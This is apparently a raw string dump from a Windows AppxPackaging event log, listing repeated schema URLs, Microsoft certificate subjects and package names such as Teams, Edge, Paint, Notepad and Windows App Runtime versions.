http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/appx/manifest/uap/windows10/17 Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/appx/manifest/uap/windows10/17 Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/appx/manifest/desktop/windows10/7 Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/appx/manifest/externaldependencies Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.Paint_11.2511.291.0_neutral_~_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.VCLibs.140.00_14.0.33519.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.VCLibs.140.00_14.0.33519.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.VCLibs.140.00_14.0.33519.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.Paint_11.2511.291.0_neutral_~_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational EventData Data subjectName CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational packageFullName Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational namespace http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsNotepad_11.2510.14.0_neutral_split.scale-100_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.Paint_11.2511.291.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.Paint_11.2511.291.0_neutral_split.scale-100_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.VCLibs.140.00_14.0.33519.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WidgetsPlatformRuntime_1.6.2.0_neutral_~_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.StartExperiencesApp_2021.151.0.0_neutral_~_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WidgetsPlatformRuntime_1.6.2.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.StartExperiencesApp_2021.151.0.0_neutral_~_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.StartExperiencesApp_2021.151.0.0_neutral_~_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WidgetsPlatformRuntime_1.6.14.0_neutral_~_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.UI.Xaml.2.8_8.2501.31001.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.UI.Xaml.2.8_8.2501.31001.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.VCLibs.140.00_14.0.33519.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.ScreenSketch_2022.2511.47.0_neutral_~_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.UI.Xaml.2.8_8.2501.31001.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.ScreenSketch_11.2511.47.0_neutral_split.scale-100_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.UI.Xaml.2.8_8.2501.31001.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.VCLibs.140.00_14.0.33519.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, 